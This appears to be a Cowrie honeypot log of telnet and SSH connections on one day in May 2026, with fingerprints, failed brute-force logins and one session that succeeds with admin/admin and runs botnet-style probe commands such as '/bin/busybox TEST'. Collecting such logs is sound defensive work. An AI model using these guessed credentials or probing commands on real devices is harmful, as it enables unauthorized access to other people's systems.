{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34366,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e0b3a03c20c","protocol":"telnet","message":"New connection: 135.148.14.151:34366 (159.203.135.109:23) [session: 6e0b3a03c20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:17.867839Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":57554,"dst_ip":"10.17.0.5","dst_port":23,"session":"f046daa63c19","protocol":"telnet","message":"New connection: 176.65.139.220:57554 (10.17.0.5:23) [session: f046daa63c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:40.513031Z"}
{"eventid":"cowrie.session.closed","duration":0.00537419319152832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:40.518305Z","src_ip":"176.65.139.220","session":"f046daa63c19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":57558,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef744fccf67","protocol":"telnet","message":"New connection: 176.65.139.220:57558 (10.17.0.5:23) [session: 1ef744fccf67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:40.592762Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":49394,"dst_ip":"10.17.0.5","dst_port":22,"session":"76c388a90300","protocol":"ssh","message":"New connection: 103.27.238.114:49394 (10.17.0.5:22) [session: 76c388a90300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:40.791751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:40.796681Z","src_ip":"103.27.238.114","session":"76c388a90300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:41.069757Z","src_ip":"103.27.238.114","session":"76c388a90300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:41.778434Z","src_ip":"176.65.139.220","session":"1ef744fccf67","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adilet","message":"login attempt [root/adilet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:41.889654Z","src_ip":"103.27.238.114","session":"76c388a90300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.3203299045562744,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:42.912944Z","src_ip":"176.65.139.220","session":"1ef744fccf67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":57568,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b73e94aae50","protocol":"telnet","message":"New connection: 176.65.139.220:57568 (10.17.0.5:23) [session: 8b73e94aae50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:43.090235Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:43.166562Z","src_ip":"103.27.238.114","session":"76c388a90300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:43.805251Z","src_ip":"176.65.139.220","session":"8b73e94aae50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7189676761627197,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:44.809011Z","src_ip":"176.65.139.220","session":"8b73e94aae50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":57588,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab69d419d482","protocol":"telnet","message":"New connection: 176.65.139.220:57588 (10.17.0.5:23) [session: ab69d419d482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:44.943763Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:45.617139Z","src_ip":"176.65.139.220","session":"ab69d419d482","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:45.660346Z","src_ip":"176.65.139.220","session":"ab69d419d482","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:47.125989Z","src_ip":"176.65.139.220","session":"ab69d419d482","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:47.871591Z","src_ip":"176.65.139.220","session":"ab69d419d482","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:48.507623Z","src_ip":"176.65.139.220","session":"ab69d419d482","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:49.268855Z","src_ip":"176.65.139.220","session":"ab69d419d482","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:49.273427Z","src_ip":"176.65.139.220","session":"ab69d419d482","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"4.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:49.964344Z","src_ip":"176.65.139.220","session":"ab69d419d482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.030954360961914,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:49.974627Z","src_ip":"176.65.139.220","session":"ab69d419d482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.354077100753784,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:52.221818Z","src_ip":"135.148.14.151","session":"6e0b3a03c20c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51664,"dst_ip":"159.203.135.109","dst_port":23,"session":"63a89c5e526a","protocol":"telnet","message":"New connection: 135.148.14.151:51664 (159.203.135.109:23) [session: 63a89c5e526a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:52.394490Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51928,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe9d46029ad8","protocol":"telnet","message":"New connection: 135.148.14.151:51928 (159.203.135.109:23) [session: fe9d46029ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:52.950457Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57480,"dst_ip":"159.203.135.109","dst_port":23,"session":"08379a50900c","protocol":"telnet","message":"New connection: 135.148.14.151:57480 (159.203.135.109:23) [session: 08379a50900c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:04.632020Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59980,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fca4485e99b","protocol":"telnet","message":"New connection: 135.148.14.151:59980 (159.203.135.109:23) [session: 3fca4485e99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:11.721844Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":35820,"dst_ip":"10.17.0.5","dst_port":22,"session":"77141b60e570","protocol":"ssh","message":"New connection: 77.94.47.83:35820 (10.17.0.5:22) [session: 77141b60e570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:24.035999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:24.040917Z","src_ip":"77.94.47.83","session":"77141b60e570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:24.148729Z","src_ip":"77.94.47.83","session":"77141b60e570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"77778888","message":"login attempt [root/77778888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:24.470677Z","src_ip":"77.94.47.83","session":"77141b60e570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:25.579354Z","src_ip":"77.94.47.83","session":"77141b60e570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":54006,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ccfd3bef1a9","protocol":"ssh","message":"New connection: 202.51.70.20:54006 (10.17.0.5:22) [session: 7ccfd3bef1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:26.924975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:26.930280Z","src_ip":"202.51.70.20","session":"7ccfd3bef1a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:27.202397Z","src_ip":"202.51.70.20","session":"7ccfd3bef1a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe","message":"login attempt [ubuntu/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:28.371770Z","src_ip":"202.51.70.20","session":"7ccfd3bef1a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.60451054573059,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:28.998872Z","src_ip":"135.148.14.151","session":"63a89c5e526a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:29.646708Z","src_ip":"202.51.70.20","session":"7ccfd3bef1a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.86875247955322,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:29.819076Z","src_ip":"135.148.14.151","session":"fe9d46029ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.94796085357666,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:40.579865Z","src_ip":"135.148.14.151","session":"08379a50900c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43158,"dst_ip":"159.203.135.109","dst_port":23,"session":"59a5da475735","protocol":"telnet","message":"New connection: 135.148.14.151:43158 (159.203.135.109:23) [session: 59a5da475735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:40.654243Z"}
{"eventid":"cowrie.session.closed","duration":35.80583095550537,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:03:47.527542Z","src_ip":"135.148.14.151","session":"3fca4485e99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55380,"dst_ip":"159.203.135.109","dst_port":23,"session":"1070f47d4047","protocol":"telnet","message":"New connection: 135.148.14.151:55380 (159.203.135.109:23) [session: 1070f47d4047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:05.308469Z"}
{"eventid":"cowrie.session.closed","duration":34.16231441497803,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:14.816447Z","src_ip":"135.148.14.151","session":"59a5da475735","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33782,"dst_ip":"159.203.135.109","dst_port":23,"session":"8652e6a938f9","protocol":"telnet","message":"New connection: 135.148.14.151:33782 (159.203.135.109:23) [session: 8652e6a938f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:25.387235Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":44660,"dst_ip":"10.17.0.5","dst_port":22,"session":"85da15c44f7a","protocol":"ssh","message":"New connection: 80.94.92.171:44660 (10.17.0.5:22) [session: 85da15c44f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:26.701460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:26.706231Z","src_ip":"80.94.92.171","session":"85da15c44f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:27.151986Z","src_ip":"80.94.92.171","session":"85da15c44f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:28.534728Z","src_ip":"80.94.92.171","session":"85da15c44f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:29.844233Z","src_ip":"80.94.92.171","session":"85da15c44f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.75511050224304,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:40.063436Z","src_ip":"135.148.14.151","session":"1070f47d4047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47638,"dst_ip":"159.203.135.109","dst_port":23,"session":"688d5af3bfd8","protocol":"telnet","message":"New connection: 135.148.14.151:47638 (159.203.135.109:23) [session: 688d5af3bfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:53.522329Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":55254,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c17d234294a","protocol":"ssh","message":"New connection: 202.51.70.20:55254 (10.17.0.5:22) [session: 1c17d234294a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:55.854774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:55.860704Z","src_ip":"202.51.70.20","session":"1c17d234294a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:56.122337Z","src_ip":"202.51.70.20","session":"1c17d234294a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:57.198372Z","src_ip":"202.51.70.20","session":"1c17d234294a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:58.462753Z","src_ip":"202.51.70.20","session":"1c17d234294a","protocol":"ssh"}
